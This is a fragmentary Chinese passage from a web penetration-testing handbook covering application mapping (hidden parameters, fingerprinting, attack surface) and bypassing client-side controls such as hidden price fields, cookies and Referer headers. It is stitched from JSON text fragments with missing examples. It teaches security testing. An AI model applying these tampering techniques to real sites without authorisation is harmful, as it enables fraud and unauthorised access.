迄今为止，我们讨论的枚举技巧实际上由如何概念化和分类Web应用程序内容这种特殊的动机暗中推动。这种动机源自于Web应用程序出现之前的万维网时代，当时的Web服务器是静态信息仓库，人们使用实际为文件名的URL获取这类信息。要公布Web内容，只需简单生成一批HTML文件并将其复制到Web服务器上的相应目录即可。当用户单击超链接时，他们浏览由公布者创建的文件，通过服务器上目录树中的文件名请求每个文件。 虽然Web应用程序的急速演变从根本上改变了用户与Web交互的体验，但上述动机仍然适用于绝大多数的Web应用程序内容和功能。各种功能一般通过不同的URL访问，后者通常是执行该项功能的服务器端脚本的名称。请求参数（位于URL查询字符串或POST请求主体中）并不告知应用程序执行何种功能，而是告知应用程序在执行功能时使用哪些信息。有鉴于此，建立基于URL的解析方法可对应用程序的功能进行有效分类。 在使用REST风格的URL的应用程序中，URL文件路径的某些部分包含实际上用做参数值的字符串。在这种情况下，通过解析URL，爬虫能够解析应用程序功能和这些功能的已知参数值列表。 但是，在某些应用程序中，基于应用程序“页面”的动机并不适用。尽管从理论上说，我们可以将任何应用程序结构强制插入这种形式的表述中。但是，在许多情况下，另外一种基于功能路径的动机可以更加有效地分类其内容与功能。以仅使用以下请求访问的应用程序为例： 这里的每个请求对应唯一一个URL。请求参数指定Java servlet和需要调用的方法，告诉应用程序执行何种功能。其他参数提供执行该项功能所需的信息。在基于应用程序页面的动机中，应用程序明显只有一种功能，且基于URL的解析不会解释它的功能。但是，如果我们根据功能路径解析应用程序，就能更加清楚地了解应用程序的有用功能。图4-10是应用程序功能路径图的一部分。 图4-10 Web应用程序功能路径图 即使在应用基于应用程序页面的常规图不存在任何问题的情况下，以这种方式描述应用程序的功能通常更加有用。在URL使用的目录结构中，不同功能之间的逻辑与依赖关系无法一一对应起来。但是，无论是对于了解应用程序的核心功能，还是制订可能的攻击方案，这些逻辑关系对攻击者而言都非常有用。确定这些逻辑关系后，攻击者就能够全面了解应用程序开发人员在执行功能时的期待和假设，并设法找到违背这些假设、在应用程序中造成无法预料的行为的方法。 在使用请求参数而非URL确定功能的应用程序中，这种方法对于枚举应用程序的功能会有所帮助。在前面的示例中，使用前面讨论的内容查找技巧目前还不可能发现任何隐藏的内容。那些技巧需要根据应用程序访问功能时实际使用的机制修改。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定所有通过在参数中提交某一功能的名称（如/admin.jsp?action=editUser）而非通过请求代表那个功能的一个特殊页面（如/admin/editUser.jsp）访问应用程序功能的情况。 （2）修改上述用于查找URL相关内容的自动化技巧，利用它处理应用程序使用的内容–访问机制。例如，如果应用程序使用参数指定servlet和方法名称，首先确定它在请求一个无效servlet或方法以及请求一个有效方法与其他无效参数时的行为。设法确定表示“触点”（即有效servlet和方法）的服务器响应的特点。如果可能，想出办法分两个阶段攻击这个问题，首先枚举servlet，然后枚举其中的方法。对用于查找URL相关内容的技巧使用相似的方法，列出常见项目，通过从实际观察到的名称进行推断，增加这些项目，并根据项目生成大量请求。 （3）如果可能，根据功能路径绘制一幅应用程序内容图，说明所有被枚举的功能和逻辑路径以及它们之间的依赖关系。 4.1.5 发现隐藏的参数 如果应用程序使用其他参数以别的方式控制其逻辑，那么它使用请求参数说明应执行何种功能的情况就会出现变化。例如，如果在URL的查询字符串中加入debug=true参数，应用程序的运作方式就会发生改变：它可能会关闭某些输入确认检查，允许用户避开某些访问控制或者在响应中显示详细的调试信息。许多时候，我们无法从应用程序的任何内容直接推断它如何处理这个参数（例如，它并不在超链接的URL中插入debug=false）。只有通过猜测许多值，才能在提交正确的值之后了解这个参数产生的效果。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用常用调试参数名称（调试、测试、隐藏、来源等）和常用值（真、是、开通和1等）列表，向一个已知的应用程序页面和功能提出大量请求。重复执行这一操作，直到浏览完所有名/值对组合。在POST请求的URL查询字符串和消息主体中插入增加的参数。 可以使用多组有效载荷和“集束炸弹”（cluster bomb）攻击类型（请参阅第14章了解详细信息），通过Burp Intruder执行这一测试。 （2）监控收到的全部响应，确定任何表明增加的参数给应用程序处理过程造成影响的异常。 （3）根据可用时间，在许多不同的页面或功能中查找隐藏的参数。选择开发人员最有可能在其中执行调试逻辑的功能，如登录、搜索、文件上传和下载等。"},
    {"text": "客户端使用的技术，包括表单、客户端脚本、厚客户端组件（Java applet、ActiveX控件和Flash）和cookie。 服务器端使用的技术，包括静态与动态页面、使用的请求参数类型、SSL使用、Web服务器软件、数据库交互、电子邮件系统和其他后端组件。"},
    {"text": "4.2.1 确定用户输入入口点 在检查枚举应用程序功能时生成的HTTP请求的过程中，可以确定应用程序获取用户输入（由服务器处理）的绝大部分位置。"},
    {"text": "1．URL文件路径 通常，查询字符串之前的URL部分并不被视为是进入点，因为人们认为它们只是服务器文件系统上的目录和文件的名称。 但是，在使用REST风格的URL的应用程序中，查询字符串之前的URL部分实际上可以作为数据参数，并且和进入点一样重要，因为用户输入就是查询字符串本身。"},
    {"text": "典型的REST风格的URL可以采用以下格式： http://eis/shop/browse/electronics/iPhone3G/ 在这个示例中，字符串electronics和iPhone3G应被视为存储搜索功能的参数。 同样，在下面这个URL中： http://eis/updates/2010/12/25/my-new-iphone/ updates之后的每个URL组件都可以以REST方式进行处理。 根据URL结构和应用程序上下文，我们可以轻松确定使用REST风格的URL的应用程序。"},
    {"text": "以下是笔者在现实世界中遇到的一些非标准参数格式实例： /dir/file;foo=bar&foo2=bar2； /dir/file?foo=bar$foo2=bar2； /dir/file/foo%3dbar%26foo2%3dbar2； dir/foo.bar/file； /dir/foo=bar/file； /dir/file?param=foo:bar； /dir/file?data=%3cfoo%3ebar%3c%2ffoo%3e%3cfoo2%3ebar2%3c%2ffoo2%3e。"},
    {"text": "例如，测试上面最后一个URL时，如果忽略定制格式，认为其仅包含一个名为data的参数，因而提交各种攻击有效载荷作为这个参数的值，对其进行简单处理，那么可能会遗漏处理查询字符串过程中存在的许多漏洞。"},
    {"text": "例如，应用程序可能检测到用户已通过搜索引擎到达，并提供针对用户的搜索查询的定制响应。 一些应用程序可能会回应搜索术语，或者尝试突出显示响应中的匹配表达式。"},
    {"text": "应用程序通过检查User-Agent消息头实现这一目的。 除了能为直接在User-Agent消息头本身中实施的基于输入的攻击提供“便利”外，这种行为还可以揭示应用程序中的其他受攻击面。 通过伪造流行移动设备的User-Agent消息头，攻击者可以访问其行为与主要界面不同的简化用户界面。 由于这种界面通过服务器端应用程序中的不同代码路径生成，并且可能并未经过严格的安全测试，因此，攻击者就可以确定主要应用程序界面中并不存在的漏洞（如跨站点脚本）。"},
    {"text": "攻击者可以执行一次简单的攻击，即向提供不同用户代理字符串的应用程序主页面提出一个GET请求，然后检查Burp Intruder返回的结果，从中确定表明使用了不同用户界面的反常现象。"},
    {"text": "除了针对浏览器默认发送或应用程序组件添加的HTTP请求消息头实施攻击外，有些时候，攻击者还可以通过添加应用程序可能会处理的其他消息头来实施成功的攻击。"},
    {"text": "1．提取版本信息 许多Web服务器公开与Web服务器软件本身和所安装组件有关的详细版本信息。 例如，HTTP Server消息头揭示大量与安装软件有关的信息： 除Server消息头外，下列位置也可能揭露有关软件类型和版本的信息： 建立HTML页面的模板；"},
    {"text": "在图4-11中，Httprecon工具正对EIS应用程序进行扫描，并以不同的可信度报告各种可能的Web服务器。 图4-11 Httprecon正在识别EIS应用程序 3．文件扩展名 URL中使用的文件扩展名往往能够揭示应用程序执行相关功能所使用的平台或编程语言。"},
    {"text": "例如，如果应用程序上安装有ASP.NET，请求一个不存在的.aspx文件将返回一个由ASP.NET框架生成的错误页面，如图4-12所示。 但是，请求一个扩展名不同的不存在的文件将返回一个由Web服务器生成的常规错误消息，如图4-13所示。 图4-12 一个指出服务器上安装有ASP.NET平台的定制错误页面 图4-13 请求一个无法识别的文件扩展名时生成的常规错误消息 使用前面描述的自动化内容查找技巧，我们能够请求大量常见的文件扩展名，并迅速确定服务器是否执行了任何相关技术。"},
    {"text": "图4-14说明了默认安装IIS 5.0时将各种扩展名映射到不同处理程序DLL的情况。 图4-14 IIS5.0中的文件扩展名映射 分析请求文件扩展名时生成的各种错误消息可以确定该文件扩展名映射是否存在。"},
    {"text": "类似于下面的URL是另外一种值得注意的常用识别方法： https://wahh-app/news/0,,2-421206,00.html URL末尾用逗号分隔的数字通常由Vignette内容管理平台生成。"},
    {"text": "如果是这样，那么相同的组件会出现在因特网上的大量其他Web应用程序中，可以根据这些组件了解应用程序的功能。 通常，其他应用程序会利用相同组件的不同特性，确保攻击者能够确定目标应用程序的其他隐藏行为和功能。 而且，软件中可能包含其他地方已经揭示的某些已知漏洞，攻击者也可以下载并安装该组件，对它的源代码进行分析或以受控的方式探查其中存在的缺陷。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定全部用户输入入口点，包括URL、查询字符串参数、POST数据、cookie和其他由应用程序处理的HTTP消息头。"},
    {"text": "（7）如果获得关于Web服务器和其他组件的详细信息，搜索其使用的软件版本，确定在发动攻击时可供利用的所有漏洞（请参阅第18章了解相关内容）。"},
    {"text": "如果发现使用相同组件的应用程序，对其进行分析，确定该组件支持的任何其他功能和参数，并确定目标应用程序是否具有这些功能、使用这些参数。"},
    {"text": "4.2.3 确定服务器端功能 通过留意应用程序向客户端披露的线索，通常可推断与服务器端功能和结构有关的大量信息，或者至少可做出有根据的猜测。"},
    {"text": "1．仔细分析请求 以下面用于访问搜索功能的URL为例： https://wahh-app.com/calendar.jsp?name=new%20applicants&isExpired=0&startDate=22%2F09%2F2010&endDate=22%2F03%2F2011&OrderBy=name 可见，.jsp文件扩展名表示它使用Java Server Pages。"},
    {"text": "如果应用程序的设计者并不希望用户访问任何到期的内容，将这个参数由0改为1就能够确定一个访问控制漏洞（请参阅第8章了解相关内容）。"},
    {"text": "下面的URL允许用户访问内容管理系统，其中包含另外一些线索： https://wahh-app.com/workbench.aspx?template=NewBranch.tpl&loc=/default&ver=2.31&edit=false 这里的.aspx文件扩展名表示这是一个ASP.NET应用程序。"},
    {"text": "攻击者可利用这项功能向任何接收者发送任意邮件，并且，其中所有字段都易于遭受电子邮件消息头的注入攻击（请参阅第10章了解相关内容）。"},
    {"text": "同样以Extreme Internet Shopping应用程序中的以下URL为例： http://eis/pub/media/117/view 在功能上，此URL相当于以下URL： http://eis/manager?schema=pub&type=media&id=117&action=view 虽然并不肯定，但media资源集中很可能包含资源117，并且应用程序正对该资源执行相当于view的操作。"},
    {"text": "但是，如果将其更改为add并且猜测是正确的，则该操作可能相当于添加一个ID为117的资源。 这一操作将会失败，因为已经存在一个ID为117的资源。"},
    {"text": "例如，可以请求以下URL： http://eis/pub/media/7337/add 此外，还有必要通过修改media（同时保留类似的URL结构）来寻找其他数据集合： http://eis/pub/pages/1/view http://eis/pub/users/1/view"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）检查提交到应用程序的全部参数的名称和参数值，了解它们支持的功能。 （2）从程序员的角度考虑问题，想象应用程序可能使用了哪些服务器端机制和技术来执行能够观察到的行为。 2．推测应用程序的行为 通常，应用程序以统一的方式执行其全部功能。这可能是因为不同的功能由同一位开发者编写，或者可遵循相同的设计规范，或者共享相同的代码组件。在这种情况下，我们可轻松推断出服务器端某个领域的功能，并据此类推其他领域的功能。 例如，应用程序可能会执行某种全局输入确认检查，如在处理前净化各种潜在的恶意输入。确定一个SQL盲注漏洞后，会遇到如何利用它的问题，因为专门设计的请求正被输入确认逻辑以不可见的方式修改。然而，应用程序中可能还有其他功能为正在执行的净化提供良好的反馈，例如，将用户提交的数据“反射”给浏览器的功能。可以使用这项功能测试不同编码及SQL注入有效载荷的各种变化形式的有效性，判定在应用输入确认逻辑后，必须提交哪些原始输入才能获得想要的攻击字符串。如果幸运，会发现整个应用程序使用相同的确认机制，让攻击者可以利用注入漏洞。 当在客户端保存敏感数据时，一些应用程序可使用定制的模糊处理方案，防止用户随意查阅和修改这些数据（请参阅第5章了解相关内容）。由于只能访问一个经过模糊处理的数据样本，这类模糊处理方案可能非常难以解译。然而，应用程序中可能具有某些功能，用户向其提交模糊字符串即可获得原始字符串。例如，错误消息中可能包含导致错误的反模糊处理数据。如果整个应用程序使用相同的模糊处理方案，就可以从某个位置（如cookie中）提取一个模糊字符串，将其提交给其他功能，解译出它的意义。而且，我们还可以对模糊处理方案执行逆向工程，系统地向该功能提交各种数据并监控反模糊处理后得到的结果。 最后，应用程序处理各种错误的方式并不一致，一些区域合理防御并处理错误，而另外一些区域则简单放弃错误，向用户返回冗长的调试信息（请参阅第15章了解相关内容）。在这种情况下，我们可以从某个区域返回的错误消息中收集相关信息，并将其应用于合理处理错误的其他区域。例如，通过系统化地操纵请求参数并监控得到的错误消息，可以判定相关应用程序组件的内部结构和逻辑；幸运的话会发现这个结构的某些方面还被沿用到其他区域。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定应用程序中任何可能包含与其他区域内部结构和功能有关的线索的位置。 （2）即使暂时无法获得任何肯定的结论，但是，在后期试图利用任何潜在的漏洞时，确定的情况可能会有用。 3．隔离独特的应用程序行为 有时，情况可能恰恰相反。许多可靠或成熟的应用程序采用一致的框架来防止各种类型的攻击，如跨站点脚本、SQL注入和未授权访问。在这类情况下，最可能发现漏洞的区域，是应用程序中后续添加或“拼接”而其常规安全框架不会处理的部分。此外，这些部分可能没有通过验证、会话管理和访问控制与应用程序进行正确连接。一般情况下，通过GUI外观、参数命名约定方面的差异，或者直接通过源代码中的注释即可确定这些区域。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）记录其使用的标准GUI外观、参数命名或导航机制与应用程序的其他部分不同的任何功能。 （2）同时记录可能在后续添加的功能，包括调试功能、CAPTCHA控件、使用情况跟踪和第三方代码。 （3）对这些区域进行全面检查，不要假定在应用程序的其他区域实施的标准防御在这些区域也同样适用。 4.2.4 解析受攻击面 解析过程的最后一个步骤是确定应用程序暴露的各种受攻击面，以及与每个受攻击面有关的潜在漏洞。下面简要说明渗透测试员能够确定的一些主要行为和功能，以及其中最可能发现的漏洞。本书的其他内容将详细讨论渗透测试员如何在实际操作过程中探测并利用这些漏洞。 客户端确认——服务器没有采用确认检查。 数据库交互——SQL注入。 文件上传与下载——路径遍历漏洞、保存型跨站点脚本。 显示用户提交的数据——跨站点脚本。 动态重定向——重定向与消息头注入攻击。 社交网络功能——用户名枚举、保存型跨站点脚本。 登录——用户名枚举、脆弱密码、能使用蛮力。 多阶段登录——登录缺陷。 会话状态——可推测出的令牌、令牌处理不安全。 访问控制——水平权限和垂直权限提升。 用户伪装功能——权限提升。 使用明文通信——会话劫持、收集证书和其他敏感数据。 站外链接——Referer消息头中查询字符串参数泄漏。 外部系统接口——处理会话与/或访问控制的快捷方式。 错误消息——信息泄漏。 电子邮件交互——电子邮件与命令注入。 本地代码组件或交互——缓冲区溢出。 使用第三方应用程序组件——已知漏洞。 已确定的Web服务器软件——常见配置薄弱环节、已知软件程序缺陷。 4.2.5 解析Extreme Internet Shopping应用程序 解析EIS应用程序的内容和功能后，攻击者可以通过各种路径对该应用程序实施攻击，如图4-15所示。 图4-15 EIS应用程序暴露的受攻击面 /auth目录包含验证功能。为此，有必要仔细检查所有验证功能、会话处理和访问控制，包括其他内容搜索攻击。 在/core路径内，站点状态页面似乎接受由管道符（｜）分隔的参数构成的数组。除传统的基于输入的攻击外，还可以对source、location和IP这些值实施蛮力攻击，以揭示有关其他用户或在pageID中指定的页面的详细信息。另外，还可以搜索有关无法访问的资源的信息，或者在 pageID中尝试使用通配符，如pageID=all或pageID= * 。最后，由于显示的pageID值中包含斜杠，这表示应用程序可能正从文件系统检索资源，因而可以对其实施路径遍历攻击。 /gb路径包含该站点的留言板。访问此页面后发现，这是一个由管理员主持的讨论论坛。虽然其中的消息由管理员进行管理，但却采用了登录避开机制login=true，这说明攻击者可以尝试批准恶意消息（以实施跨站点脚本攻击），以及阅读其他用户发送给管理员的私有消息。 /home路径似乎保存的是经过验证的用户内容。基于这一点，攻击者可以尝试实施水平权限提升攻击，以访问其他用户的个人信息，并确保在每个页面实施了访问控制。 快速检查后发现，/icons和/images路径保存的是静态内容。这说明可以尝试对属于第三方软件的图标名称实施蛮力攻击，并检查这些目录的目录索引，但不必做过多尝试。 /pub路径的/pub/media和/pub/user目录下包含的是REST风格的资源。这说明可以针对/pub/user/11中的数字值实施蛮力攻击，以查找其他应用程序用户的个人资料页面。与此功能类似的社交网络功能可以揭示用户信息、用户名和其他用户的登录状态。 /shop路径中包含网上购物站点和大量URL。但是，这些URL的结构大致相同。仅查看一或两个URL，攻击者就可以确定所有相关的受攻击面。购物过程中可能包含有趣的逻辑缺陷，攻击者可以利用这些缺陷获得未授权折扣或逃避支付。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）了解应用程序执行的核心功能和使用的主要安全机制。 （2）确定通常与常见漏洞有关的应用程序功能和行为特点。 （3）在公共漏洞数据库（如www.osvdb.org）中检查任何第三方代码，以确定任何已知问题。 （4）制订攻击计划，优先考虑最可能包含漏洞的功能，以及最严重的漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 4.3 小结 解析应用程序是向其发动攻击的重要前提。虽然直接发动攻击并开始探查实际漏洞的做法十分具有吸引力，但详细了解应用程序的功能、技术与受攻击面更利于后面的攻击。 在几乎所有的Web应用程序攻击中，在采用手动技巧的同时，适当采用受控的自动化技巧是最有效的攻击手段。几乎不存在任何完全自动化的工具，能够对应用程序进行安全、彻底的解析。要解析应用程序，渗透测试员需要自己动手并利用相关经验。本章讨论的核心技术包括以下几项。 手动浏览和用户指定的抓取，枚举应用程序的可见内容与主要功能。 使用蛮力结合人为干预和直觉发现尽可能多的隐藏内容。 对应用程序进行智能分析，确定其关键功能、行为、安全机制与技术。 评估应用程序的受攻击面，确定最易受到攻击的功能和行为，对其执行更有针对性的探查，以发现可供利用的漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 4.4 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）当解析一个应用程序时，会遇到以下URL： https://wahh-app.com/CookieAuth.dll?GetLogon?curl=Z2Fdefault.aspx 据此可以推论出服务器使用何种技术？该技术的运作方式可能是怎样的？ （2）如果所针对的应用程序是一个Web论坛，并且只发现了一个URL： http://wahh-app.com/forums/ucp.php?mode=register 如何通过它获得论坛成员列表？ （3）当解析一个应用程序时，遇到以下URL： https://wahh-app.com/public/profile/Address.asp?action=view&location=default 据此推断服务器端应使用何种技术。可能还存在哪些其他内容和功能？ （4）Web服务器的一个响应包含以下消息头： Server: Apache-Coyote/1.1 这表示服务器使用何种技术？ （5）假设正在解析两个不同的Web应用程序，在每个应用程序中请求URL/admin.cpf。每个请求返回的响应消息头如下所示。仅由这些消息头能否确定每个应用程序中存在所请求的资源？ 黑客攻防技术宝典：Web实战篇（第2版） 第5章 避开客户端控件 在 第1章中，我们提到，由于客户端可提交任意输入，Web应用程序的核心安全因此受到威胁。尽管如此，大部分的Web应用程序仍然依靠在客户端执行各种措施，对它提交给服务器的数据进行控制。通常，这种做法造成一个基本的安全缺陷：用户能够完全控制客户端和由其提交的数据，并可以避开任何在客户端执行但服务器并不采用的控件。 应用程序依靠客户端控件限制用户输入表现在两个方面：首先，应用程序可通过客户端组件，使用某种它认为可防止用户修改的机制传送数据。其次，应用程序可在客户端执行保护措施，控制用户与其客户端的交互，从而对功能实施限制，并（或）在提交用户输入之前对这些输入进行控制。我们可通过使用HTML表单功能、客户端脚本或浏览器扩展技术实现这种控制。 我们将在本章中举例说明各种客户端控件并分析避开这些控件的方法。 黑客攻防技术宝典：Web实战篇（第2版） 5.1 通过客户端传送数据 应用程序通常以终端用户无法直接查看或修改的方式向客户端传送数据，希望客户端在随后的请求中将这些数据送回服务器。通常，应用程序的开发者简单地认为所采用的传输机制将确保通过客户端传送的数据在传送过程中不会遭到修改。 由于客户端向服务器传送的一切内容都完全处于用户的控制范围内，认为通过客户端传送的数据不会被修改，这种看法往往是错误的，并致使应用程序易于遭受一种或几种攻击。 你肯定想知道这其中的原因。如果一个特殊的数据已知，并由服务器指定，则应用程序需要向客户端提交这个值，然后读取回该值。实际上，对开发者而言，以这种方式编写应用程序往往更加简单，原因如下。 这样做不必追踪用户会话中的各种数据。减少每次会话保存在服务器上的数据量，同时还能提高应用程序的性能。 如果将应用程序部署到几台不同的服务器上，那么，在执行多级操作时，用户可能需要与多台服务器进行交互，这时在处理相同用户请求的主机之间共享服务器端数据就会遇到困难。那么，使用客户端传送数据就成为解决这个问题的一个颇具吸引力的方案。 如果应用程序在服务器上采用任何第三方组件，如购物车，则可能很难或无法修改这些组件，因此，通过客户端传输数据就成为集成这些组件的最简单方式。 在某些情况下，跟踪服务器上的新数据可能需要更新核心服务器端API，因而会触发正式的变更管理流程和回归测试。这时，实施包含客户端数据传输的更加细化的解决方案可以避免这种情况，从而满足紧凑的完工期限要求。 但是，以这种方式传送敏感数据通常并不安全，并且会在应用程序中造成大量漏洞。 5.1.1 隐藏表单字段 隐藏HTML表单字段是一种表面看似无法修改，通过客户端传送数据的常用机制。如果一个表单标记为隐藏，它就不会显示在屏幕上。但是，用户提交表单时，保存在表单中的字段名称和值仍被送交给应用程序。 在隐藏表单字段中保存产品价格的零售应用程序就是存在这种安全缺陷的典型示例。在Web应用程序发展的早期阶段，这种漏洞极其普遍，现在也绝没有消失。典型的表单如图5-1所示。 图5-1 典型的HTML表单 创建这个表单的代码如下： 注意，表单字段名为price，其被标记为隐藏。用户提交表单时，这个字段将被送交给服务器："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/shop/28/ 现在，虽然price字段并未显示在屏幕上，用户无法对其进行编辑，但这只是因为应用程序指示浏览器隐藏该字段而已。因为在客户端进行的一切操作最终将由用户控制，用户需要编辑价 格时就可解除这个限制。 要实现编辑操作，一种方法是保存HTML页面的源代码，编辑字段的值，然后将源代码重新载入浏览器，并单击Buy按钮。但是，使用拦截代理服务器（intercepting proxy）对数据进行动态修改更加简单方便。 在攻击Web应用程序时，拦截代理服务器极其有用，它是一种不可或缺的工具。我们可以找到大量拦截代理服务器工具，本书使用其中一位作者编写的Burp Proxy工具。 代理服务器位于Web浏览器和目标应用程序之间。它拦截应用程序发布和收到的每一个HTTP或HTTPS请求和响应。用户可通过它拦截任何消息，对其进行检查或修改。如果之前从未用过拦截代理服务器，请参阅第20章了解有关拦截代理服务器的运行机制，如何配置和使用拦截代理服务器的详细信息。 安装拦截代理服务器并进行相应配置后就可以拦截提交表单的请求，随意修改price字段的值，如图5-2所示。 图5-2 使用拦截代理服务器修改隐藏表单字段的值 如果应用程序根据表单提交的价格处理交易，就能够以选择的任何价格购买该产品。 提示 如果发现应用程序易于受到这种攻击，看看是否可以提交一个负数价格值。有些时候，应用程序居然接受使用负数价格值的交易。攻击者不仅收到订购的货物，信用卡还会收到退款——一种两面得利的情况（如果出现这种情况的话）。 5.1.2 HTTP cookie HTTP cookie是通过客户端传送数据的另一种常用机制。和隐藏表单字段一样，HTTP cookie一般并不显示在屏幕上，也不可由用户直接修改。当然，用户可使用拦截代理服务器，通过更改设置cookie的服务器响应或随后发布这些cookie的客户端请求，对HTTP cookie进行修改。 下面以前面的示例（稍作修改）为例进行说明。消费者登录应用程序后，收到以下响应： DiscountAgreed cookie是依靠客户端控件（基于cookie一般无法被修改这个事实）保护通过客户端传送的数据的典型示例。如果应用程序信任DiscountAgreed cookie返回给服务器的值，那么消费者修改这个值就可获得任意折扣。例如： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/shop/92/ 5.1.3 URL参数 应用程序常常使用预先设定的URL参数通过客户端传送数据。例如，用户浏览产品目录时，应用程序会向他们提供指向下列URL的超链接： http://mdsec.net/shop/?prod=3&pricecode=32 如果包含参数的URL显示在浏览器的地址栏中，任何用户不需要使用工具就可任意修改其中的参数。但是，在许多情况下，应用程序并不希望普通用户查看或修改URL参数。例如： 使用包含参数的URL加载嵌入图像时； 使用包含参数的URL加载框架内容时； 表单使用POST方法并且其目标URL包含预先设定的参数时； 应用程序使用弹出窗口或其他方法隐藏浏览器地址栏时。 当然，如前所述，我们可以使用拦截代理服务器修改上面的任何URL参数。 5.1.4 Referer消息头 浏览器在大多数HTTP请求中使用Referer消息头。浏览器使用这个消息头指示提出当前请 求的页面的URL——或者是因为用户单击了一个超链接或提交了一个表单，或者是因为该页面引用了其他资源（如图像）。因此，我们可以利用这个消息头通过客户端传送数据，这是因为应用程序处理的URL受其控制，开发者认为Referer消息头可用于准确判断某个特殊的请求由哪个URL生成。 以帮助忘记密码的用户重新设置密码的机制为例。应用程序要求用户按规定的顺序完成几个步骤，然后再通过以下请求重新设置密码值： GET /auth/472/CreateUser.ashx HTTP/1.1 Host: mdsec.net Referer: https://mdsec.net/auth/472/Admin.ashx 应用程序可以使用Referer消息头证实这个请求是在正确的阶段（Admin.ashx）提出的，然后才允许用户访问请求的功能。 但是，因为用户控制着每一个请求，包括HTTP消息头，他可以直接进入CreateUser.ashx，并使用拦截代理服务器将Referer消息头的值修改为应用程序需要的值，从而轻易避开这种控制。 实际上，根据w3.org标准，Referer消息头完全是可选的。因此，虽然大多数浏览器执行这个消息头，但是，使用它控制应用程序的功能应被视为是一种“陈腐”的做法。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/472/ 错误观点 不知何故，相比于请求的其他部分（如URL），人们常常认为HTTP消息头具有更强的“防篡改”能力。这会导致开发者实施信任由Cookie和Referer消息头提交的值的功能，而对其他数据（如URL参数）执行严格的确认。这种认识是错误的——因为任何业余黑客在攻击应用程序时都可以使用大量免费的拦截代理服务器工具轻松修改所有请求数据。打个比方，假如老师准备搜查你的书桌，你觉得把水枪藏在抽屉底下会更加安全，因为她需要弯下腰才能发现它。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）在应用程序中，确定隐藏表单字段、cookie和URL参数明显用于通过客户端传送数据的任何情况。 （2）根据数据出现的位置以及参数名称之类的线索，确定或猜测它在应用程序逻辑中发挥的作用。 （3）修改数据在应用程序相关功能中的值。确定应用程序是否处理在参数中提交的任意值，以及这样做是否会导致应用程序易于遭受任何攻击。 5.1.5 模糊数据 有时候，通过客户端传送的数据被加密或进行了某种形式的模糊处理，因而变得晦涩难懂。例如，下面的产品价格并不保存在隐藏字段中，而是以隐含值（crytic value）的形式传送。 如果发现这种情况，可以据此推断，提交表单后，服务器端应用程序将检查模糊字符串的完整性，或对其进行解密或去模糊处理，然后处理它的明文值。这种深层次处理可能易于造成各种漏洞；但是，要探查或利用这种漏洞，首先必须对有效载荷进行适当的处理。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/shop/48/ 注解 应用程序的会话处理机制通常通过客户端传送模糊数据。在HTTP cookie中传送的会话令牌、在隐藏字段中传送的反CSRF令牌，以及用于访问应用程序资源的一次性URL令牌，全都是在客户端篡改的潜在目标。我们将在第7章详细讨论针对这些令牌的注意事项。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 有几种方法可以对通过客户端传送的模糊数据实施攻击。 （1）如果知道模糊字符串的明文值，可以尝试破译模糊处理所使用的模糊算法。 （2）如第4章所述，应用程序的其他地方可能包含一些功能，攻击者可以利用它们返回由自己控制的一段明文生成的模糊字符串。在这种情况下，攻击者可以向目标功能直接提交任意一个有效载荷，获得所需要的字符串。 （3）即使模糊字符串完全无法理解，也可以在其他情况下重新传送它的值，实现某种恶意效果。例如，前面显示的表单的pricing_token参数中可能包含一个加密的产品价格。尽管攻击者无法对选择的任意价格以相同的算法进行加密，但是，他们可以把另一个更加便宜的产品的加密价格复制过来，放在这里提交。 （4）如果其他所有方法全都无效，还可以通过提交畸形字符串——如包含超长值、不同字符集等错误的字符串——尝试攻击负责对模糊数据进行解密或去模糊处理的服务器端逻辑。 5.1.6 ASP.NET ViewState ASP.NET ViewState是一种通过客户端传送模糊数据的常用机制。它是一个由所有ASP.NET Web应用程序默认创建的隐藏字段，其中包含关于当前页面状态的序列化信息。ASP.NET平台使用ViewState提高服务器的性能——服务器通过它在连续提交请求的过程中保存用户界面中的元素，而不需要在服务器端维护所有相关的状态信息。例如，服务器会根据用户提交的参数填充下拉列表。用户随后提交请求时，浏览器并不向服务器提交列表的内容。相反，浏览器提交隐藏的ViewState字段，其中包含该列表的序列化格式。然后，服务器对ViewState进行去序列化处理，并重新建立相同的列表，再将其返回给用户。 除这种核心功能外，开发者还在连续提交请求的过程中使用ViewState保存任意信息。例如，应用程序可以不将产品价格保存在隐藏表单字段中，而是将其保存在ViewState中，如下所示： string price = getPrice (prodno); ViewState.Add(“price”, price); 返回给用户的表单如下所示： 当用户提交表单时，浏览器将发送以下请求： 很明显，上面的请求中并不包含产品价格——只有订购的数量和模糊处理后的ViewState参数。随意更改这个参数会导致应用程序显示错误消息，并因此终止购买交易。 ViewState参数实际上是一个Base64编码字符串，用户可以轻松对这个字符串进行解码，以查看其代表的价格参数，如下所示： 提示 在对一个可能为Base64编码的字符串进行解码时，用户常常会犯一个错误，即从字符串的错误位置开始解码。鉴于Base64编码的特点，如果从错误的位置开始解码，解码后的字符串中会出现乱码。Base64采用基于数据块的格式，每4字节的编码数据解码后会变为3个字节。因此，如果解码后的Base64字符串并无意义，请尝试从编码字符串中的4个相邻的偏移值位置开始解码。 默认情况下，ASP.NET平台通过在ViewState中加入一个密钥散列（称为MAC保护）来防止篡改。但是，一些应用程序禁用了这项默认启用的保护，这意味着攻击人员可以修改ViewState的值，以确定其是否会对应用程序的服务器端处理产生影响。 Burp 